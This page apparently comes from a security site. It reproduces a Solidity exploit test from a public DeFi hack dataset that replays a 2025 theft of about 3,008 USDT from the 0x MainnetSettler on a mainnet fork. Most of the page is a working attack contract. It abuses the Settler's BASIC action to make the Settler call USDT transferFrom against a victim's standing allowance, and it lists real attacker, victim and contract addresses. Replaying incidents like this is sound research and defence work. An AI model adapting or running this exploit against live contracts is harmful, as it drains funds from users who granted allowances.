Skip to content
THREATWIRE

Public reproduction file

src/test/2025-03/ZeroExSettler_exp.sol

Public reproduction file for dataset entry ZeroExSettler.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-03/ZeroExSettler_exp.sol109 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 3,008 USDT
8// Attacker : 0xc58a769e3089792670dff22ab85a11983816323b
9// Attack Contract : 0x447cd3a83134941523e7c0676f80e4e99bab28ab
10// Vulnerable Contract : 0x0d0e364aa7852291883c162b22d6d81f6355428f
11// Attack Tx : https://etherscan.io/tx/0x4e2f5bccc5d428c39cd93c64dcd2502d5cf05fb30892c753475155d498ef5887
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x0d0e364aa7852291883c162b22d6d81f6355428f#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/599
18//
19// The 0x MainnetSettler BASIC action lets the caller choose the pool target and
20// calldata. The attacker targeted USDT itself and made the Settler call
21// USDT.transferFrom(victim, attacker, amount). Because the victim had a large
22// pre-existing USDT allowance to the Settler, the Settler acted as the spender
23// and transferred the victim balance to the attacker.
25address constant ATTACKER = 0xC58A769E3089792670DFf22aB85A11983816323b;
26address constant HISTORICAL_ATTACK_CONTRACT = 0x447cD3A83134941523e7c0676f80e4e99bAb28ab;
27address constant MAINNET_SETTLER = 0x0d0E364aa7852291883C162B22D6D81f6355428F;
28address constant USDT_TOKEN = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
29address constant USDT_ALLOWANCE_VICTIM = 0x4D387992614Ff184fb587D590b76C00c48057b4b;
31uint256 constant STOLEN_USDT_AMOUNT = 3_008_000_000;
32bytes4 constant BASIC_ACTION_SELECTOR = 0x38c9c147;
33bytes32 constant ZID_AND_AFFILIATE = 0xa00dda5ed0267accdf4ac6940000000000000000000000000000000000000000;
35interface IMainnetSettler {
36 struct AllowedSlippage {
37 address recipient;
38 address buyToken;
39 uint256 minAmountOut;
40 }
42 function execute(
43 AllowedSlippage calldata slippage,
44 bytes[] calldata actions,
45 bytes32 zidAndAffiliate
46 ) external payable returns (bool);
49contract ContractTest is BaseTestWithBalanceLog {
50 IERC20 private constant usdt = IERC20(USDT_TOKEN);
52 function setUp() public {
53 uint256 forkBlock = 22_022_764;
54 vm.createSelectFork("mainnet", forkBlock);
56 fundingToken = USDT_TOKEN;
57 attacker = ATTACKER;
59 vm.label(ATTACKER, "Attacker");
60 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
61 vm.label(MAINNET_SETTLER, "0x MainnetSettler");
62 vm.label(USDT_TOKEN, "USDT");
63 vm.label(USDT_ALLOWANCE_VICTIM, "USDT allowance victim");
64 }
66 function testExploit() public balanceLog {
67 uint256 attackerUsdtBefore = usdt.balanceOf(ATTACKER);
68 uint256 victimUsdtBefore = usdt.balanceOf(USDT_ALLOWANCE_VICTIM);
69 uint256 victimAllowance = usdt.allowance(USDT_ALLOWANCE_VICTIM, MAINNET_SETTLER);
71 assertEq(victimUsdtBefore, STOLEN_USDT_AMOUNT);
72 assertGt(victimAllowance, STOLEN_USDT_AMOUNT);
74 SettlerExploit exploit = new SettlerExploit();
75 exploit.attack();
77 assertEq(victimUsdtBefore - usdt.balanceOf(USDT_ALLOWANCE_VICTIM), STOLEN_USDT_AMOUNT);
78 assertEq(usdt.balanceOf(ATTACKER) - attackerUsdtBefore, STOLEN_USDT_AMOUNT);
79 }
82contract SettlerExploit {
83 function attack() external {
84 bytes memory transferCall = abi.encodeWithSelector(
85 IERC20.transferFrom.selector,
86 USDT_ALLOWANCE_VICTIM,
87 ATTACKER,
88 STOLEN_USDT_AMOUNT
89 );
91 bytes[] memory actions = new bytes[](1);
92 actions[0] = abi.encodeWithSelector(
93 BASIC_ACTION_SELECTOR,
94 address(0),
95 uint256(10_000),
96 USDT_TOKEN,
97 uint256(0),
98 transferCall
99 );
101 IMainnetSettler.AllowedSlippage memory slippage = IMainnetSettler.AllowedSlippage({
102 recipient: address(0),
103 buyToken: address(0),
104 minAmountOut: 0
105 });
107 IMainnetSettler(MAINNET_SETTLER).execute(slippage, actions, ZID_AND_AFFILIATE);
108 }

Analysis

Dataset entry

Public Foundry test for “ZeroExSettler” (2025-03-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc58a769e3089792670dff22ab85a11983816323b

  • Attack Contract

    0x447cd3a83134941523e7c0676f80e4e99bab28ab

  • Vulnerable Contract

    0x0d0e364aa7852291883c162b22d6d81f6355428f

  • Attack Tx

    0x4e2f5bccc5d428c39cd93c64dcd2502d5cf05fb30892c753475155d498ef5887

File record

Name
ZeroExSettler
Path
src/test/2025-03/ZeroExSettler_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
cbf73928417220b158f68cfd74502dce3fe1915e
Language
Solidity
Size
110 lines
Date
2025-03-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-03/ZeroExSettler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cbf73928417220b158f68cfd74502dce3fe1915e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.